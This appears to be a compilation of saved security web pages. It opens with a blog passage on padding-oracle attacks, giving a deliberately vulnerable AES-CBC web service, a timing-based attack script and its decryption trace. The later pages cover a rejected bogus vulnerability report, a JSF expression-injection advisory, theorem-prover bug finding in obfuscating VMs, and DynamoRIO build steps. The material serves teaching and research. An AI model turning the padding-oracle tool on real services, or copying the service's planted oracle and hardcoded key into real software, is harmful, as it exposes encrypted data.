if we control the ciphertext and the initial vector, we can set them up such
that the required plaintext comes out when the decryption process takes place.

We start by the last ciphertext block, and set it to a random number. Next, we
decrypt it using the padding oracle, which gives us <img
src='img/Temp2_5797.png' alt='D_K(C_n) ' />. Given the desired value for <img
src='img/Temp2_5794.png' alt='P_n' />, we just need to compute <img
src='img/Temp2_5798.png' alt='C_{n-1} ' /> such that <img
src='img/Temp2_5795.png' alt='C_{n-1} = P_n \oplus D_K(C_n) ' />. If we
continue all the way down to the IV, we have a set of IV + n ciphertext blocks
that would produce the desired message.

So, this process I've also implemented in Python together with my previous
code. Now it is possible to encrypt data as well, getting an IV that you need
to supply to the decrypting entity. If you don't control the IV, you could
provide all these n+1 blocks as ciphertext and you would get a leading block
which would decrypt to garbage. Since most likely the target application can't
handle leading garbage blocks, you'd have to chose another option such as
bruteforcing the first block in order to get the desired result. However, this
involves much more computational work.

**A "_web service_ " leaking padding information through the time**

After this implementation work, and triggered by the discussion with my
friend, I decided to write a sample vulnerable web service and try to exploit
it using timing information. To simulate the vulnerable service, I initially
used PHP and the openssl functions.

However, since the attack was failing and I thought it was due to a problem in
the vulnerable service, I wrote it using web.py . This is nicer because then
you only need Python to test it, so I decided to publish only the python
version. The code simply listens for requests to the /padding/ path. For GET
requests, it encrypts the  _msg_ parameter under a key and returns the
ciphertext encoded using base64.

For POST requests, it receives the ciphertext in the  _ctext_ variable,
decrypts it, checks the padding and if it is good it sleeps for 1 second. This
is done to simulate access to a database, filesystem, or any other kind of
activity that would happen under normal situations. Next, both with good and
bad padding it returns the same information. This is the code:

[code]

    import web
    import struct
    from Crypto.Cipher import AES
    from base64 import b64decode,b64encode
    import time
     
    urls = ( '/padding/', 'padding')
    app = web.application(urls, globals())
     
    key = "cacacacacacacaca"
     
    def oracle(ctext):
            oracleCipher = AES.new(key,AES.MODE_CBC,"\x00"*16)
            ptext = oracleCipher.decrypt(ctext)
            paddingLen = struct.unpack("B",ptext[-1])[0]
            goodPadding = (ptext[-paddingLen:] == struct.pack("B",paddingLen)*paddingLen)
     
            return goodPadding
     
    def encrypt(data):
            paddingLen = 16 - len(data) % 16
            data = data + struct.pack("B",paddingLen)*paddingLen
            cipher = AES.new(key,AES.MODE_CBC,"\x00"*16)
            return b64encode(cipher.encrypt(data))
     
    class padding:
            def GET(self):
                    i = web.input(msg='secret!')
                    return encrypt(i.msg)
     
            def POST(self):
                    i = web.input(ctext=None)
                    if(i.ctext!=None and oracle(b64decode(i.ctext))):
                            time.sleep(1)
                    return "Yeah!"
     
    if __name__ == "__main__": app.run()
    
[/code]

So as you can see, the only difference between correct and wrong padding in
this case is the timing information. Now we can try to exploit it by
performing requests, checking the timing and seeing if it's high or not. Of
course, the delay is quite high \(1 second\) in this case, but it all boils
down to how big a time delta you can detect through the network. The use of 1
second is just to make it simple during the tests.

**Attacking timing leaks in Padding Oracles**

Ok, now we have a vulnerable service. Our next step is to create an attack
tool. I first created a class \(TimingWebPaddingOracle\) that is able to
perform HTTP requests and analyze the time it takes to receive a response. The
class also allows to define POST variables to be added to the request, and to
define one of such variables as the  _oracle variable_. You should also
provide a default value for each of them, being the value given for the
_oracle value_ a  _correct ciphertext_\(i.e. one that produces good padding
after decryption\).

Once this is defined, you can analyze the timing of the correct and incorrect
padding cases. To that end, the class first analyzes the original value of the
_oracle variable_ and next it changes the last bytes and analyzes the timing
again. Then, it takes the middle value between the two timing values obtained
as a threshold. Also, it stores whether a delay higher than the threshold
means the padding is correct or not based on this analysis.

From there on, you can use the oracle. If the timing obtained is higher than
the threshold, then it will return true or false depending on the type of
oracle we have. In most of the cases, this will happen for a correct padding
because then the application will proceed with other calculations.

I won't comment on the code here, you can take a look at it from the classes
added at the end. The following is the code of the application used to test
it:

[code]

    from PaddingOracle.TimingWebPaddingOracle import TimingWebPaddingOracle
    from base64 import b64decode,b64encode
    from PaddingOracle.DecryptionOracle import DecryptionOracle
    import sys
     
    def hex_string(data):
        return "".join([ hex(ord(i))+" " for i in data])
     
    blockSize = 16
    url = "http://localhost:8080/padding/"
     
    if __name__ == '__main__':
     
        if (len(sys.argv) <= 1 ):
            ctext = "szkAlVFq+Nh4yOt4prAwBtwRVvt51HIyU9o58+2Bxuo=" #Default ciphertext
        else:
            ctext = sys.argv[1];
            if ( len(sys.argv) ]]
    >
     2):
                reqs = int(sys.argv[2])
            else:
                reqs = 1 #Default to 1 request 
     
        webOracle = TimingWebPaddingOracle(url,b64encode,b64decode,reqs)
        decOracle = DecryptionOracle(webOracle.oracle,blockSize)
        webOracle.add_variable("ctext",ctext,True) #Add oracle variable with original value
     
        print "Analyzing oracle..."
        if(webOracle.test_oracle()):
            print "Oracle successfully analyzed. Analyzing provided ciphertext..."
            msg = decOracle.decrypt_message(b64decode(ctext))
            print "Message: "+str(msg)
            print "In hexadecimal: "+hex_string(msg)
        else:
            print "Could not analyze oracle :("
    
[/code]

As you can see, it sets the URL, and provides an encoding and decoding
functions to the TimingWebPaddingOracle function. These are used to decode the
original ciphertext when analyzing the original value provided in the command
line and to encode it when sending it to the web app.

The message to be decrypted is assumed to contain proper padding, so it is
used first to analyze the oracle and then it is decrypted using the
DecryptionOracle class. By default, the test uses 1 request per ciphertext to
be tested. If an additional integer is provided, it uses so many requests and
performs an average of the time obtained.

This is a trace of its execution:

[code]

    eloi@XXX:~/dev/PaddingOracle/src$ python PaddingOracleTest/WebPaddingOracleTest.py "7TciRV2X4vFKuiUqz1g2SdfFQ4ry8mNKSxE73lknqd4ooeQrnW2AWQ0mv2FFyWod"
    Analyzing oracle...
    Found difference for i=0x0
    Original timing: 1.00866293907
    Bad timing: 0.00569581985474
    Oracle successfully analyzed. Analyzing provided ciphertext...
    Message: supersecret with limited entropy
    In hexadecimal: 0x73 0x75 0x70 0x65 0x72 0x73 0x65 0x63 0x72 0x65 0x74 0x20 0x77 0x69 0x74 0x68 0x20 0x6c 0x69 0x6d 0x69 0x74 0x65 0x64 0x20 0x65 0x6e 0x74 0x72 0x6f 0x70 0x79 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10
    
[/code]

As you can see, the message was correctly decrypted <img
src='img/Temp2_5799.png' alt=':)' />

**Code**

If you reach this point, you deserve being able to download the code <img
src='img/Temp2_5801.png' alt=';)' /> . I've uploaded all the code in its
current state \(DecryptionOracle, CBC-R encryption oracle,
TimingWebPaddingOracle and some the test cases\) to the following URL:

http://www.limited-entropy.com/docs/PaddingOracle\_0.2.tgz

Remember this is just PoC code and not release-quality code. Again, you can do
whatever you like with it but it would be nice to give credit if you use it or
base your stuff on it <img src='img/Temp2_5799.png' alt=':-)' /> .

As for things you need to run it, you need Python \(obvious <img
src='img/Temp2_5801.png' alt=';)' /> \) with the following extra packages:
web.py for the test service and pyCrypto for the cryptographic functions.

  

# Not even making it to the airtight hatchway: Execution even before you get
there - The Old New Thing - Site Home - MSDN Blogs

**Created:**| _12/18/2011 4:46:10 PM_  
---|---  
**Updated:**| _12/18/2011 4:46:10 PM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  

### Not even making it to the airtight hatchway: Execution even before you get
there

Rate This  

15 Dec 2011 7:00 AM

  * 37

Today's dubious security vulnerability comes from somebody who reported that
the `Load­Keyboard­Layout` function had a security vulnerability which could
lead to arbitrary code execution. This is a serious issue, but reading the
report made us wonder if something was missing.

[code]

    // sample program to illustrate the vulnerability.
    #include <windows.h>
    #include <stdio.h>
    #include <stdlib.h>
    
    int __cdecl main(int argc, char **argv)
    {
     LoadKeyboardLayout("whatever", system("notepad.exe"));
     return 0;
    }
    
[/code]

According to the report, this sample program illustrates that the
`Load­Keyboard­Layout` function will execute whatever you pass as its second
parameter. In this case, the program chose to launch Notepad, but obviously an
attacker could change the code to something more dangerous.

We had trouble trying to figure out what the person was trying to say. After
all, it's not the `Load­Keyboard­Layout` function that is executing the second
parameter. It's the sample program that's doing it, and using the return value
as the second parameter to the `Load­Keyboard­Layout` function. I mean, you
can use this "technique" on the function

[code]

    void donothing(int i) { }
    
[/code]

to demonstrate that the `donothing` function has the same "vulnerability":

[code]

    donothing(system("notepad.exe"));
    
[/code]

Logically, the compiler decomposes the call to `Load­Keyboard­Layout` function
as

[code]

     auto param2 = system("notepad.exe");
     LoadKeyboardLayout("whatever", param2);
    
[/code]

and now it's clear that it's not the `Load­Keyboard­Layout` function which is
executing its second parameter; it's _you_.

This is like taking a printed picture of your friend into a secured area, then
saying, "See, I have a picture\! Your security failed to stop me from taking a
picture\!" That picture was taken outside the secured area. What you have is
not a security vulnerability because the picture was taken on the other side
of the airtight hatchway.

Before contacting the submitter, we want to be sure that we weren't missing
something, but after looking at it from every angle, we still couldn't see
what the issue was. We ran the alleged exploit under the kernel debugger and
traced through the entire `Load­Keyboard­Layout` function \(both the user-mode
part and the kernel-mode part\) to confirm that the function never launched
Notepad on its own. We repeated the investigation on all service packs on all
versions of Windows still under support \(and even some that are no longer
supported\). Still nothing.

Stumped, we contacted the submitter. "From what we can tell, the call to
`system` takes place before you call the `Load­Keyboard­Layout` function. Can
you elaborate on how this constitutes a vulnerability in the
`Load­Keyboard­Layout` function?"

Apparently, the submitter didn't quite understand what we were after, because
the response was just more of the same. "I have discovered that the Visual
Basic `MsgBox` function has a similar vulnerability:

[code]

    Module Program
    Sub Main()
     MsgBox(System.Diagnostics.Process.Start("notepad.exe").ToString())
    End Sub
    End Module
    
[/code]

The `MsgBox` method will execute whatever you pass as its parameter, as long
as the result is a string. \(You can even pass something that isn't a string,
but it'll throw an exception after executing it.\) The documentation for
`MsgBox` clearly states that the function displays a message box with the
specified text. It should therefore display a string and not execute a
program\!"

At this point, we had to give up. We couldn't figure out what the person was
trying to report, and our attempt to obtain a clarification was met with
another version of what appeared to be the same nonsense. As I recall, this
entire investigation took five days to complete, plus another day or two to
complete the necessary paperwork. Each year,  200,000 vulnerability reports
are received, and each one is taken seriously,  even the bogus-looking ones,
because there might be a real issue hiding behind a bogus-looking report. Sort
of how the people in the emergency communication center have to follow through
on every  911 call, even the ones that they strongly suspect are bogus, and
even though dealing with the suspected-bogus ones  slows down the overall
response time for everyone.

These sort-of-but-not-quite reports are among the most frustrating. There's
enough sense in the report that it makes you wonder if there's a real
vulnerability lurking in there, but which remains elusive because the author
is unable \(perhaps due to a language barrier\) to articulate it clearly. They
live in the shadowy ground between the reports that are clearly crackpot and
the reports which are clear enough that you can evaluate them with confidence.
These middle-ground reports are just plausible enough to be dangerous. As a
result, you close them out with trepidation, because there's the risk that
there really is something there, but you just aren't seeing it. Then you have
nightmares that the finder has taken the report public, and the vulnerability
report you rejected as bogus is now headline news all over the technology
press. \(Or worse, exploits start showing up taking advantage of the
vulnerability you rejected as bogus two months ago.\)

**Update** : Sure, this looks like something you can reject out of hand. But
maybe there's something there after all. Perhaps the `system` call somehow
"primed the pump" and left the system in just the right state so that an
uninitialized variable resulted in Notepad being launched a second time or
editing its token to have higher privileges. In that case, you rejected a
genuine security vulnerability, and then when hackers start using it to build
a botnet, somebody will go back into the vulnerability investigation logs, and
the only entry will be "Rejected without investigation by Bob."

# Jakob Korherr's Blog » JSF value expression injection vulnerability

**Created:**| _12/6/2011 9:56:39 AM_  
---|---  
**Updated:**| _12/6/2011 9:56:39 AM_  
**Author:**| __  
**Tags:**| _Java vulnerability_  
  

## JSF value expression injection vulnerability

Posted on November 22, 2011, under jsf, security.

A few days ago this issue was reported to Mojarra:
http://java.net/jira/browse/JAVASERVERFACES-2247.

It basically states that it is possible in JSF 2 to perform ValueExpression
injection when includeViewParams is set to true on a navigation case.

To illustrate this in a better way, I created an example project at apache-
extras, which shows the vulnerability: http://code.google.com/a/apache-
extras.org/p/jsf-includeviewparams-security-hole-example/

Use the following steps to run the example:

  1. svn checkout http://svn.codespot.com/a/apache-extras.org/jsf-includeviewparams-security-hole-example/trunk/
  2. mvn clean jetty:run-exploded -PjettyConfig
  3. go to http://localhost:8080/include-view-params-security and follow the instructions

This vulnerability exists, because JSF treats the value of a view parameter as
a ValueExpression when performing a navigation case with
includeViewParams=true. For further details, see the issues at Mojarra and
MyFaces: http://java.net/jira/browse/JAVASERVERFACES-2247 and
https://issues.apache.org/jira/browse/MYFACES-3405

**Until this is fixed you should avoid using includeViewParams=true\!**

##

# OpenRCE

**Created:**| _2/3/2012 9:04:27 AM_  
---|---  
**Updated:**| _2/3/2012 9:05:47 AM_  
**Author:**| __  
**Tags:**| _Practical Software Verification bughunting SMT_  
  
**Finding Bugs in VMs with a Theorem Prover, Round 1** **Author:** RolfRolles <img src='img/Temp2_5919.gif' /> | **\# Views:** 6286  
---|---  
Here's some work I did last fall.

  

Equivalence checking is a popular technique in the academic literature and in
industrial practice, used to verify that two "things" are equivalent.
Commonly, it involves translating those things into some logic that is
supported by a theorem prover, and asking the decision procedure to prove
whether the two things must always be equal. Equivalently, we ask whether
there exists any circumstances where the two things might not be equal. If the
two things must always be equal under all circumstances, then a complete
decision procedure will eventually report that the formula is unsatisfiable.
If they can ever deviate, then it will return a "counterexample" illustrating
a scenario in which the things differ. The decision procedure may not
terminate in a reasonable amount of time, or do so at all if the logic is
undecidable or the decision procedure is incomplete.

  

Equivalence checking is commonly found in the hardware world \(particularly,
in a field known as Electronic Design Automation, or EDA\), but it has been
applied to software as well, for tasks such as verification that compiler
optimizations have been implemented correctly, verification of cryptographic
implementations, and other forms of specification-conformance. In this blog,
we'll take a look at an application of equivalence checking in deobfuscation.

  

Equivalence checking

\--------------------

  

We begin by giving an example proving the equivalence between an x86 sequence
and a machine instruction.

  

Bit-level hackers -- those who study the works of the original MIT "hackers",
whose work bequeathed the term "hacker" \-- will know the following example
regarding taking the population count of a 32-bit integer. The "population
count" of a given integer is the number of one-bits set in the integer. This
operation is known as "popcnt", and the x86 instruction set features an
instruction of the same name, whose syntax is "popcnt r32, r/m32" and whose
semantics dictate that the population count of the right-hand side \(32- or
16-bit, depending upon encoding\) be deposited into the location specified by
the left-hand side. We can easily imagine implementing this functionality with
a loop:

  

`  
int popcnt = 0;  
for(int mask = 1; mask; popcnt += !!(mask & value_to_compute_popcnt_of), mask
<<= 1);  
`

  

A hoary MIT HAKMEM gem shows how to compute the same value via a series of
arithmetic manipulations and no explicit loop. We summarize the procedure
below.

  

Consider some 8-bit integer, whose bits we shall represent symbolically with
letters as in the following:

  

`  
abcdefgh  
`

  

Let's demonstrate how the method computes the population count of this
integer. First, we separate out all of the even bits and the odd bits:

  

`  
x = ((x & 0xAA) >> 1) + (x 0x55);  
  
abcdefgh AND  
10101010  
--------  
a0c0e0g0 SHR 1  
--------  
0a0c0e0g  
  
  
abcdefgh AND  
01010101  
--------  
0b0d0f0h  
`

  

Adding these two quantities together, we obtain the following result:

  

`  
wwxxyyzz  
`

  

Where ww, xx, yy, and zz are each two-bit quantities such that ww = a + b, xx
= c + d, yy = e + f, and zz = g + h. By adding these masked-and-shifted
quantities together, we thereby compute the sum of two adjacent bits, and
store the sum in that location within the integer that corresponds to those
two bits. Given that 0+0 = 0, 0+1 = 1, 1+0 = 1, and 1+1 = 10, the sum can
never overflow, and is hence neatly contained in those two bits.

  

Next, we perform the same kind of trick to compute the sum of each two-bit
quantity. We use a similar shift-and-add tableau:

  

`  
x = ((x & 0xCC) >> 2) + (x & 0x33);  
  
wwxxyyzz AND  
11001100  
--------  
ww00yy00 SHR 2  
--------  
00ww00yy  
  
wwxxyyzz AND  
00110011  
--------  
00xx00zz  
`

  

Adding these two quantities together, we get:

  

`  
iiiijjjj  
`

  

Where iiii and jjjj are the 4-bit results such that iiii = ww + xx and jjjj =
yy + zz. Once again, this sum is safe from overflow because ww and xx are at
most 2-bits, whereas iiii and jjjj are 4-bits.

  

We pull the same trick again to sum the quantities iiii and jjjj:

  

`  
x = ((x & 0xF0) >> 4) + (x & 0x0F);  
  
iiiijjjj AND  
11110000  
--------  
iiii0000 SHR 4  
--------  
0000iiii  
  
iiiijjjj AND  
00001111  
--------  
0000jjjj  
`

  

Adding these two quantifies together, we get kkkkkkkk, where kkkkkkkk = iiii +
jjjj = ww + xx + yy + zz = a + b + c + d + e + f + g + h. This corresponds to
the definition of the population count of an 8-bit integer. We can easily
imagine extending the same procedure for 16-, 32-bit, 64-bit, and generally
2^n-bit quantities. Below we display a fragment of x86 assembly language that
computes the population count for a 32-bit integer.

  

Sequence \(1\) -- messy bit hack for eax = popcnt\(ebx\)

`  
mov eax, ebx  
and eax, 55555555h  
shr ebx, 1  
and ebx, 55555555h  
add ebx, eax  
mov eax, ebx  
and eax, 33333333h  
shr ebx, 2  
and ebx, 33333333h  
add ebx, eax  
mov eax, ebx  
and eax, 0F0F0F0Fh  
shr ebx, 4  
and ebx, 0F0F0F0Fh  
add ebx, eax  
mov eax, ebx  
and eax, 00FF00FFh  
shr ebx, 8  
and ebx, 00FF00FFh  
add ebx, eax  
mov eax, ebx  
and eax, 0000FFFFh  
shr ebx, 16  
and ebx, 0000FFFFh  
add ebx, eax  
mov eax, ebx  
`

  

This is equivalent to the x86 instruction

  

Sequence \(2\) -- direct ISA computation of eax = popcnt\(ebx\)

`  
popcnt eax, ebx  
`

  

Except that the former example also modifies the flags in some certain way,
and modifies the ebx register, whereas the popcnt instruction modifies the
flags in a different way and does not modify ebx.

  

We would like to prove the equivalence of sequences \(1\) and \(2\) with
respect to the relationship of the resulting eax register with the original
ebx register. We must not consider the resulting value of the ebx register or
the flags, for in that case, the sequences will not be equivalent in general.
The code for performing this task in Pandemic follows.

  

`  
(* Define the x86 sequences *)  
let hack_sequence_x86 = (* declaration of sequence (1) as X86.x86instrpref
variant types *)  
let popcnt_sequence_x86 = (* declaration of sequence (2) as X86.x86instrpref
variant types *)  
  
(* This function converts each sequence to IR *)  
let make_ir_sequence x86l = List.concat (List.map (X86ToIR.translate_instr 0l)
x86l)  
  
(* These bindings are the IR translations *)  
let hack_sequence_ir = make_ir_sequence hack_sequence_x86  
let popcnt_sequence_ir = make_ir_sequence popcnt_sequence_x86  
  
(* These bindings are the results of converting the IR sequences to SSA form
*)  
let hack_tbl, hack_sequence_ir_ssa = IRSSA.bb_to_ssa_state_out
X86ToIRUtil.num_reserved_vars hack_sequence_ir  
let popcnt_tbl,popcnt_sequence_ir_ssa = IRSSA.bb_to_ssa_state_out
X86ToIRUtil.num_reserved_vars popcnt_sequence_ir  
  
(* The postcondition says that sequence(1).eax != sequence(2).eax *)  
let hack_popcnt_postcondition =  
IRUtil.mk_not  
(IRUtil.mk_eq  
(IRUtil.mk_evar (Hashtbl.find hack_tbl X86ToIRUtil.vEax))  
(IRUtil.mk_evar (Hashtbl.find popcnt_tbl X86ToIRUtil.vEax)))  
  
(* We query the theorem prover as to whether eax from the ends of the
respective  
sequences are equal. We do this by asking the theorem prover to generate an  
example where they are not equal, which it is unable to do (the formula is  
unsatisfiable), and therefore they are equal on all inputs. *)  
let _ = IDA.msg "%s\n" (Z3SymbolicExecute.symbolic_execute
(Z3SymbolicExecute.mk_context ())
(hack_sequence_ir_ssa@popcnt_sequence_ir_ssa) hack_popcnt_postcondition)  
`

  

The theorem prover cranks for 10 seconds and returns that the formula is
unsatisfiable, in other words, that it was not able to generate a
counterexample where sequence\(1\).eax \!= sequence\(2\).eax. Assuming the
soundness of Z3 with respect to propositional logic over the bitvector and
array theories of finite domain, we have just generated a mathematical proof
that the sequences have the same effect on the eax register. Z3 can be
configured to output the proof explicitly so that it may be checked by other
tools.

  

Equivalence checking for verification of deobfuscation results

\--------------------------------------------------------------

  

I had written a deobfuscation procedure \(e.g., a program of the type
described here\) for a commercial VM \("VM" meaning virtualization obfuscator
in this context\), and I wanted to know whether my deobfuscation was correct,
since I felt like I might've taken some shortcuts along the way. Given access
to some obfuscating transformation O, and access to a deobfuscating
transformation D, we want to know if D\(O\(p\)\) is a semantics-preserving
translation for all programs p. We'll settle for random testing: generating a
"random" executable according to some guidelines, obfuscating it,
deobfuscating it, and comparing \(by equivalence checking\) the deobfuscated
program against the original, pre-obfuscated version. As it turns out, the
translation D\(O\(p\)\) is not semantics-preserving because VM itself has many
bugs that could affect the translation of the original x86 into the VM
bytecode.

  

The procedure in the last paragraph can provide us with straight-line
sequences of code \(or control flow graphs\) such that one is the original,
and the other is the obfuscated version with deobfuscation applied. We can
then apply equivalence checking to determine whether these sequences are
semantically equivalent.

  

It turns out that they often are not. For example, consider this obfuscated
sequence \(which has been mostly deobfuscated for the sake of easy
illustration\):

  

`  
mov cx, word ptr [esp]  
add esp, 2  
ror dword ptr ss:[esp], cl  
pushfd  
`

  

And the corresponding deobfuscated sequence:

  

`  
pop cx  
ror dword ptr ss:[esp], cl  
pushfd  
`

  

The former example has a similar effect as the latter one, but it modifies the
flags before the rol instruction executes. The rol instruction does not change
the flags if cl is zero, therefore, the two sequences are not semantically
equivalent if cl = 0. The theorem prover finds this bug, the same bug for ror
word ptr and ror byte ptr, and the equivalent bugs for rcr, rcl, rol, shl,
shr, and sar. This is a total of 21 buggy VM handlers.

  

Similarly, obfuscation can also affect the value of the flags register prior
to the execution of the inc and dec instructions. Consider this deobfuscated
sequence:

  

`  
pop eax  
dec dword ptr ss:[esp]  
pushfd  
`

  

inc and dec do not change the value of the carry flag, but add and sub do.
Therefore, obfuscation applied upon the vicinity of the pop eax instruction
can destroy the value of the carry flag in these circumstances. As there are
three sizes that these instructions might be applied to, there are 6 bugs of
this variety.

  

The theorem prover also found more subtle bugs. Consider the following
deobfuscated instruction sequence, where esi points to the VM bytecode.

  

`  
lodsd dword ptr ds:[esi]  
sub eax, ebx  
xor eax, 7134B21Ah  
add eax, 2564E385h  
xor ebx, eax  
movzx ax, byte ptr ds:[eax]  
push ax  
`

  

The program's obfuscator would alter the behavior of this snippet by
introducing writes to the stack that were not present in the original version,
therefore the state of the stack after execution of the obfuscated and non-
obfuscated sequences would differ. The memory read on the second-to-last line
might therefore target the area below the stack pointer, which would cause it
to read a different value in the obfuscated and deobfuscated world. This bug
is unlikely to manifest itself in the obfuscation of a real-world program,
although it demonstrates the ruthless efficacy of theorem proving towards this
problem: the ability to discover tricky situations like this one by
considering all possible concrete behaviors of the individual snippets, and
generate countermodels for inequal scenarios, no matter how far-fetched.

  

When taking these factors into consideration, I am able to say that my
deobfuscator is correct modulo the bugs in the original obfuscator, which
demonstrably number at least 33 \(or about 20% of the total handlers\).

# HowToBuild - dynamorio - Instructions for building DynamoRIO - Project
Hosting on Google Code

**Created:**| _9/20/2009 2:54:53 PM_  
---|---  
**Updated:**| _9/20/2009 2:55:05 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification setup binary instrumentation_  
  

HowToBuild Instructions for building DynamoRIO

# Work In Progress

DynamoRIO's build system is a work-in-progress, being converted from a
proprietary product to an open source project. For a proprietary product, the
proper approach is to standardize the entire toolchain and place it either in
the repository or on a server, in order to accurately build on old branches.
However, for an open source project we want to support building on as wide a
variety of toolchains as possible, and we don't really need to fix bugs in old
versions \(though we could support that by specifying a full range of
supported versions for each tool for each version of DynamoRIO\). Thus, we're
in the process of moving from a model of only supporting a single version of
each tool to a model where we support as many versions as possible. There are
many issues there as different versions of a compiler bring up different
subtle issues. We have just shifted from Makefiles to CMake. Please report any
issues you encounter with the new build system.

# Windows Setup

You'll need to install both a compiler and device driver kit, as well as CMake
and a few other tools, in order to build DynamoRIO on Windows.

## Compiler

First, you need the compiler, linker, and associated tools. You must install
either Visual Studio 2005 or the Vista SDK \(6.1.6000\) \(with x64 libraries
and compilers if you want to build for 64-bit, of course\). If using Visual
Studio, you'll need Visual Studio 2005 Service Pack 1 to build the tests; if
not building the tests, the service pack is not needed. The Vista SDK is
missing MFC libraries and cannot be used to build DRgui \(unless you have a
Visual Studio 98 installation, in which case point the VSROOT environment
variable at it\). For that reason, Visual Studio 2005 is preferred. However,
the Vista SDK can be used to build everything else, so if you do not need the
statistics viewer it will work just fine; however, currently you must manually
set the path to ml64 \(see issue 73\) and manually disable BUILD\_DRGUI \(see
below\). You need to use a shell with command line support for using your
compiler. For example, this could be the `cmd` shell or a Cygwin shell. You
need to set the environment variables `INCLUDE`, `LIB`, `LIBPATH`, and `PATH`
to point at the proper directories for your compiler. You can use
the`vcvarsall.bat` script that comes with the compiler \(in the `VC`
directory\) to set these variables for the `cmd` shell. For a Cygwin bash
shell, you need to translate the `vcvars` commands into bash commands. Below
is an example of some bash functions that can be invoked to set the proper
environment variables. Note the use of  _mixed paths_ \(i.e., using a drive
letter but forward slashes\) for all variables except for `PATH`:

[code]

    export VCROOT=`cygpath -dm "c:/Program Files/Microsoft Visual Studio 8"`  
      
    function compiler32 {  
        export INCLUDE="${VCROOT}/VC/INCLUDE"\;"${VCROOT}/VC/ATLMFC/INCLUDE"\;"${VCROOT}/Include"\;"${VCROOT}/VC/PlatformSDK/Include"  
        export LIB="${VCROOT}/VC/LIB"\;"${VCROOT}/Lib"\;"${VCROOT}/VC/PlatformSDK/Lib"\;"${VCROOT}/VC/atlmfc/lib"  
        export LIBPATH="${VCROOT}/VC/atlmfc/lib"  
        # put prior to /usr/bin for link.exe to beat out cygwin link.exe  
        export PATH=`cygpath -u ${VCROOT}/VC/Bin`:`cygpath -u ${VCROOT}/Common7/Tools/Bin`:${PATH}  
    }  
      
    function compiler64 {  
        export INCLUDE="${VCROOT}/VC/INCLUDE"\;"${VCROOT}/VC/ATLMFC/INCLUDE"\;"${VCROOT}/Include"\;"${VCROOT}/VC/PlatformSDK/Include"  
        export LIB="${VCROOT}/VC/LIB/amd64"\;"${VCROOT}/Lib"\;"${VCROOT}/VC/PlatformSDK/Lib/AMD64"\;"${VCROOT}/VC/atlmfc/lib/amd64"  
        export LIBPATH="${VCROOT}/VC/atlmfc/lib/amd64"  
        # put prior to /usr/bin for link.exe to beat out cygwin link.exe  
        export PATH=`cygpath -u ${VCROOT}/VC/Bin/amd64`:`cygpath -u ${VCROOT}/Common7/Tools/Bin`:${PATH}  
    }
[/code]

If you use Cygwin, note that you need Visual Studio's bin directories on your
`PATH`  _before_ Cygwin's as there are conflicts: both have `mc.exe`and
`link.exe`.

## Device Driver Kit

Install either the Windows 2003 DDK \(3790.1830\) or the Windows Vista WDK
\(6000\) with x64 libraries. If you're using the Vista SDK instead of Visual
Studio 2005, you must install the Vista WDK \(for ml64.exe, missing from the
SDK\). If you install into a non-default location \(i.e., other than
`$SYSTEMDRIVE/WINDDK/3790.1830` or `$SYSTEMDRIVE/WINDDK/6000`\) then you must
point the DDKROOT environment variable at the base of the DDK/WDK:

[code]

    export DDKROOT=`cygpath -dm ~/WINDDK/6000/`
[/code]

## CMake

You need CMake for Windows \(_not_ for Cygwin, as we need to pass paths with
drive letters to our compiler\), at least version 2.6. You can download a
binary installation here:

> http://www.cmake.org/cmake/resources/software.html
Install CMake and put its bin directory on the path for your shell.

## Other Tools

In order to build you must have a version of perl. It can be either a Cygwin
perl or a native Windows perl. In order to build the documentation, you will
additionally need:

  * doxygen
  * ImageMagick
  * transfig
  * ghostscript

These can be either Cygwin packages or native Windows. Ghostscript **must** be
on your `PATH`: you cannot simply configure the CMake cache variable
`GHOSTSCRIPT_EXECUTABLE`, as the fig2dev program executes ghostscript assuming
it is on the `PATH`.

* * *
# Linux Setup

In order to build you'll need the following packages:

  * gcc
  * binutils
  * cmake \(at least version 2.6\)
  * perl

In order to build the documentation, you will additionally need:

  * doxygen
  * ImageMagick
  * transfig
  * ghostscript

We have tested the following versions of gcc: 4.3.0, 4.1.2, and 3.4.3. If your
machine does not have support for running 32-bit applications and its version
of binutils is older than 2.18.50 then you'll need to set the
`CMAKE_ASM_COMPILER` CMake cache variable to point at a GNU assembler of at
least version 2.18.50. Ghostscript **must** be on your `PATH`: you cannot
simply configure the CMake cache variable `GHOSTSCRIPT_EXECUTABLE`, as the
fig2dev program executes ghostscript assuming it is on the `PATH`.

## Setup for Simultaneous 64-bit and 32-bit Building

In order to build both 32-bit and 64-bit on the same platform you'll need
compiler support for targeting both architectures. For an Ubuntu 64-bit
installation, select 8.10 or later in order to get cmake version 2.6. Then
install these packages:

[code]

    sudo apt-get install cmake ia32-libs g++ g++-multilib doxygen transfig imagemagick
[/code]

* * *
# Building with CMake

## Components

DynamoRIO contains several distinct components:

  * core/ = the core tool engine shared library
  * api/ = the documentation and sample clients
  * tools/ = various tools, including for deployment \(dynamorio and drdeploy.exe\) and statistics viewing \(DRgui\)
  * libutil/ = library used by drdeploy.exe and DRgui
  * suite/ = tests

All components are combined into a single CMake project.

## Configuring Your Build

First, configure your compiler. On Windows this means setting up the
environment variables \(including `PATH`\). On Linux, if your compiler
supports both 64-bit and 32-bit targets, you can select the non-default type
by setting the `CFLAGS` environment variable to the flag used to change your
compiler's target. For example:

[code]

    export CFLAGS=-m32
[/code]

Next, in your shell \(which you have set up for building with your compiler\),
create a build directory. Invoke the CMake GUI from the build directory,
pointing at the source directory. For example, if your current directory is
the base of the DynamoRIO tree: On Windows, from a Cygwin bash shell:

[code]

    mkdir build  
    cd build  
    CMakeSetup ..
[/code]

On Linux:

[code]

    mkdir build  
    cd build  
    cmake-gui ..
[/code]

Alternatively, `ccmake`, the curses-based GUI, can be used on Linux. On
Windows, select "NMake Makefiles" \(though see below for instructions to use
"Unix Makefiles"\) and press the Configure button once; on Linux, press
Configure and then select "Unix Makefiles" \(or, in `ccmake`, press `c`
once\). Now you can select the parameters to configure your build. The main
parameters are as follows \(some may not be present if the configure process
determined they do not apply: e.g., if you do not have `doxygen` installed you
cannot selected `BUILD_DOCS`\):

  *   * BUILD\_CORE = whether to build the core
  * BUILD\_DOCS = whether to build the documentation
  * BUILD\_DRGUI = whether to build the DRgui statitics viewer \(Windows-only\). Note that DRgui is currently 32-bit only \(issue 62\), so when building a 64-bit Windows core you will need a separate build directory and configuration for 32-bit in order to build DRgui.
